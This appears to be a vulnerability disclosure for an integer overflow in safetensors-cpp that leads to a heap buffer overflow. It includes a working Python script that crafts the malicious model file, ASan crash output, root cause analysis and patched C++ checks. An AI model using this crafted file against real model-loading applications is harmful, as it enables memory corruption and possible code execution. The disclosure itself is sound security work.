| # Integer Overflow in safetensors-cpp Enables Heap Buffer Overflow via Malicious Model Files | |
| ## Summary | |
| I found an integer overflow vulnerability in safetensors-cpp's `get_shape_size()` function that enables a heap buffer overflow when loading a crafted `.safetensors` model file. The function multiplies tensor shape dimensions using unchecked `size_t` arithmetic, allowing dimensions to overflow to a small value that passes all validation checks. The reference Rust implementation correctly uses `checked_mul` and rejects such files with `SafeTensorError::ValidationOverflow`. | |
| A 128-byte malicious `.safetensors` file passes safetensors-cpp's `load_from_memory()` and `validate_data_offsets()` without error. Any consuming application that uses the shape dimensions for buffer allocation or iteration will experience a heap buffer overflow. This was confirmed with AddressSanitizer. | |
| ## Attack Preconditions | |
| 1. The target application uses safetensors-cpp to load `.safetensors` model files | |
| 2. The application accepts model files from untrusted sources (e.g., Hugging Face Hub, user uploads, shared model repositories) | |
| 3. The application uses tensor shape dimensions for buffer allocation, iteration, or processing (standard behavior for ML frameworks) | |
| ## Steps to Reproduce | |
| ### 1. Create the malicious safetensors file | |
| ```python | |
| # craft_overflow.py | |
| import json, struct | |
| shape = [4194305, 4194305, 211106198978564] | |
| # True product: ~3.7e27, overflows uint64 to exactly 4 | |
| # With F32 (4 bytes): tensor_size = 16 | |
| header = {"overflow_tensor": {"dtype": "F32", "shape": shape, "data_offsets": [0, 16]}} | |
| header_json = json.dumps(header, separators=(',', ':')) | |
| header_bytes = header_json.encode('utf-8') | |
| pad_len = (8 - len(header_bytes) % 8) % 8 | |
| header_bytes += b' ' * pad_len | |
| with open("overflow_tensor.safetensors", "wb") as f: | |
| f.write(struct.pack('<Q', len(header_bytes)) + header_bytes + b"\x41" * 16) | |
| ``` | |
| ### 2. Verify the Rust reference implementation rejects it | |
| ```python | |
| from safetensors import safe_open | |
| safe_open("overflow_tensor.safetensors", framework="numpy") | |
| # Raises: SafetensorError: Error while deserializing header: ValidationOverflow | |
| ``` | |
| ### 3. Verify safetensors-cpp accepts it | |
| Compile the test program: | |
| ```bash | |
| g++ -std=c++17 -DSAFETENSORS_CPP_IMPLEMENTATION -I safetensors-cpp -o test_overflow test_overflow.cc | |
| ./test_overflow overflow_tensor.safetensors | |
| ``` | |
| Output: | |
| ``` | |
| [+] load_from_memory SUCCEEDED (file parsed without error) | |
| [*] validate_data_offsets: PASSED | |
| get_shape_size() = 4 (OVERFLOWED! True value: ~3.7e27) | |
| tensor_size = 4 * 4 = 16 | |
| tensor_size == data_size? YES (validation passes!) | |
| ``` | |
| ### 4. Demonstrate heap buffer overflow with ASan | |
| ```bash | |
| g++ -std=c++17 -DSAFETENSORS_CPP_IMPLEMENTATION -fsanitize=address -g \ | |
| -I safetensors-cpp -o crash_overflow crash_overflow.cc | |
| ./crash_overflow overflow_tensor.safetensors | |
| ``` | |
| Output: | |
| ``` | |
| [+] File loaded and validated successfully | |
| Processing tensor 'overflow_tensor': | |
| Allocating buffer: 16 bytes | |
| Shape claims 4194305 x 4194305 x 211106198978564 = way more than 4 elements | |
| Iterating shape[0]=4194305 elements (but buffer only has 4)... | |
| ==33302==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000001a0 | |
| WRITE of size 4 at 0x6020000001a0 thread T0 | |
| 0x6020000001a0 is located 0 bytes after 16-byte region [0x602000000190,0x6020000001a0) | |
| SUMMARY: AddressSanitizer: heap-buffer-overflow crash_overflow.cc:69 | |
| ``` | |
| ## Root Cause Analysis | |
| The vulnerability is in `safetensors.hh` in the `get_shape_size()` function (line ~4616): | |
| ```cpp | |
| size_t get_shape_size(const tensor_t &t) { | |
| // ... | |
| size_t sz = 1; | |
| for (size_t i = 0; i < t.shape.size(); i++) { | |
| sz *= t.shape[i]; // UNCHECKED MULTIPLICATION - can silently overflow | |
| } | |
| return sz; | |
| } | |
| ``` | |
| A second unchecked multiplication occurs in `validate_data_offsets()` (line ~4666): | |
| ```cpp | |
| size_t tensor_size = get_dtype_bytes(tensor.dtype) * get_shape_size(tensor); | |
| ``` | |
| The reference Rust implementation uses safe arithmetic that detects overflow: | |
| ```rust | |
| let nelements: usize = info.shape.iter().copied() | |
| .try_fold(1usize, usize::checked_mul) | |
| .ok_or(SafeTensorError::ValidationOverflow)?; | |
| ``` | |
| ### Why the overflow works | |
| The crafted shape `[4194305, 4194305, 211106198978564]` produces: | |
| - True product: 3,713,821,298,447,761,542,108,676,100 (~3.7 x 10^27) | |
| - `uint64` maximum: 18,446,744,073,709,551,615 (~1.8 x 10^19) | |
| - After overflow (mod 2^64): exactly **4** | |
| All three values are below 2^53 (9,007,199,254,740,992), ensuring they are exactly representable as JSON double-precision numbers and survive parsing without precision loss. | |
| With F32 dtype (4 bytes per element): `tensor_size = 4 * 4 = 16 bytes` | |
| Setting `data_offsets = [0, 16]` makes `tensor_size == data_size`, so validation passes. | |
| ## Remediation | |
| Add overflow checking to `get_shape_size()`: | |
| ```cpp | |
| size_t get_shape_size(const tensor_t &t) { | |
| if (t.shape.empty()) return 1; | |
| if (t.shape.size() >= kMaxDim) return 0; | |
| size_t sz = 1; | |
| for (size_t i = 0; i < t.shape.size(); i++) { | |
| if (t.shape[i] != 0 && sz > SIZE_MAX / t.shape[i]) { | |
| return 0; // overflow would occur | |
| } | |
| sz *= t.shape[i]; | |
| } | |
| return sz; | |
| } | |
| ``` | |
| Also add overflow checking in `validate_data_offsets()` for the `dtype_bytes * shape_size` multiplication: | |
| ```cpp | |
| size_t shape_size = get_shape_size(tensor); | |
| size_t dtype_bytes = get_dtype_bytes(tensor.dtype); | |
| if (shape_size != 0 && dtype_bytes > SIZE_MAX / shape_size) { | |
| ss << "Tensor size overflow for '" << key << "'\n"; | |
| valid = false; | |
| continue; | |
| } | |
| size_t tensor_size = dtype_bytes * shape_size; | |
| ``` | |
| ## References | |
| - safetensors-cpp: https://github.com/syoyo/safetensors-cpp | |
| - Rust reference (with checked_mul): https://github.com/huggingface/safetensors/blob/main/safetensors/src/tensor.rs | |
| - Trail of Bits audit of safetensors: https://huggingface.co/docs/safetensors/en/audit_results | |
| - CWE-190: Integer Overflow or Wraparound: https://cwe.mitre.org/data/definitions/190.html | |
| ## Impact | |
| This vulnerability allows an attacker to craft a malicious `.safetensors` model file that: | |
| 1. **Passes all validation** in safetensors-cpp (load + validate_data_offsets) | |
| 2. **Is rejected** by the Rust reference implementation (cross-implementation differential) | |
| 3. **Causes heap buffer overflow** in any consuming application that uses shape dimensions for memory operations | |
| The attack surface is significant because `.safetensors` is the primary model format for Hugging Face models. Any C++ application loading models from untrusted sources (model hubs, user uploads, federated learning) is vulnerable. The malicious file is only 128 bytes and indistinguishable from a legitimate safetensors file without overflow-aware validation. | |
| Severity: **High** (CWE-190 leading to heap overflow / potential RCE in C++ applications) | |